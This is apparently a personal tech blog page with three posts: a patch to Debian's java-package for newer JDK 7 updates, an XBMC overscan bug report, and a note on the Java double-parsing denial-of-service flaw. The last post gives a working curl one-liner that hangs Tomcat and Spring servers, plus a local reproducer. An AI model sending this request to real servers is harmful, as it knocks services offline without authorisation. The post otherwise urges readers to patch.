How to install oracle java 7 update 11 (jdk-7u11) on debian linux

Currently you can’t install the new java sdk 7 update 11 from oracle using java_package. Usually you can simply follow this instruction: Installing oracle jre / sdk on debian.

Unfortunately the error is: No matching plugin was found.

But you can modify the script /usr/share/java-package/oracle-j2sdk.sh to accept the new package:

15,16c15,16
<       "jdk-7u"[0-9]"-linux-i586.tar.gz") # SUPPORTED
<           j2se_version=1.7.0+update${archive_name:6:1}${revision}
---
>       "jdk-7u"[0-9][0-9]"-linux-i586.tar.gz") # SUPPORTED
>           j2se_version=1.7.0+update${archive_name:6:2}${revision}
31,32c31,32
<       "jdk-7u"[0-9]"-linux-x64.tar.gz") # SUPPORTED
<           j2se_version=1.7.0+update${archive_name:6:1}${revision}
---
>       "jdk-7u"[0-9][0-9]"-linux-x64.tar.gz") # SUPPORTED
>           j2se_version=1.7.0+update${archive_name:6:2}${revision}

Worked for me:

The Debian package has been created in the current directory. You can
install the package as root (e.g. dpkg -i oracle-j2sdk1.7_1.7.0+update11_amd64.deb).

(#:/tmp)- dpkg -i oracle-j2sdk1.7_1.7.0+update11_amd64.deb
(Reading database … 225711 files and directories currently installed.)
Preparing to replace oracle-j2sdk1.7 1.7.0+update7 (using oracle-j2sdk1.7_1.7.0+update11_amd64.deb) …
Unpacking replacement oracle-j2sdk1.7 …
Setting up oracle-j2sdk1.7 (1.7.0+update11) …

(#:/tmp)- java -version
java version „1.7.0_11“
Java(TM) SE Runtime Environment (build 1.7.0_11-b21)
Java HotSpot(TM) 64-Bit Server VM (build 23.6-b04, mixed mode)

There is also a bug report: Bug#698108: jdk7u11 not supported

Edit: also works for java 7 update 12 (jdk-7u12), java 7 update 13 (jdk-7u13), java 7 update 14 (jdk-7u14) and java 7 update 15 (jdk-7u15)

Edit: Oh boy, too many updates recently.

XBMC windowed mode calibration (overscan) settings not remembered

I love XBMC, it is a great free media center, controllable via android phone with lot’s of cool plugins and even blue ray support.

But there was this bug annoying me. I am using two monitors and want to keep the mouse non captured, therefore using xbmc in maximized windowed mode instead of fullscreen. This works great but the overscan settings get lost on every restart, hiding great parts of the GUI.

The settings are written correctly to the „resolution“ node in guisettings.xml with the description „Windowed“ but are not loaded. After the next start the default settings are used and the config overwritten.

These forum posts or some posts of them might be related:
http://forum.xbmc.org/showthread.php?tid=104735
http://forum.xbmc.org/showthread.php?tid=132776

I tried to fix the problem myself and got up with a patch. There were a couple of problems preventing the settings from being loaded and applied – see pull request for details. It also seems like it makes sense to reset the overscan settings when the window is resized but upon initial start they should be loaded from the config.

See Ticket http://trac.xbmc.org/ticket/11861
Pull Request https://github.com/xbmc/xbmc/pull/1246

Edit:

Well, the xbmc folks answered quite fast, see below. Too bad but until then I got my patch.

FernetMenta commented
check out #1231
There are (and should) no calibration settings for windowed mode. Your original problem mentioned in the ticket 11861 will be fixed by not grabbing the mouse.

Java DDOS 2.2250738585072012e-308 with curl

There seems to be an easy exploit for the problem going around in the news.

curl -H „Accept-Language: en-us;q=2.2250738585072012e-308“ URL

Apparently works on any Tomcat-server calling getLocale() on the request or most spring applications.

Meanwhile there is java patch for the problem, update your boxes!

Release Notes: http://blogs.oracle.com/henrik/2011/02/jdk_6_update_24_released.html
Security Alert: http://www.oracle.com/technetwork/topics/security/alert-cve-2010-4476-305811.html

For my servers it did not have an effect but maybe you had success? Please leave a comment.

Edit:

You should all have received a java security update by now. If not, you could simply use the following code to reproduce the bug locally.

$ cat Runhang.java 
class Runhang {
  public static void main(String[] args) {
    System.out.println("Test:");
    double d = Double.parseDouble("2.2250738585072012e-308");
    System.out.println("Value: " + d);
  }
}

$ javac Runhang.java
$ java Runhang &
... wait and kill it :)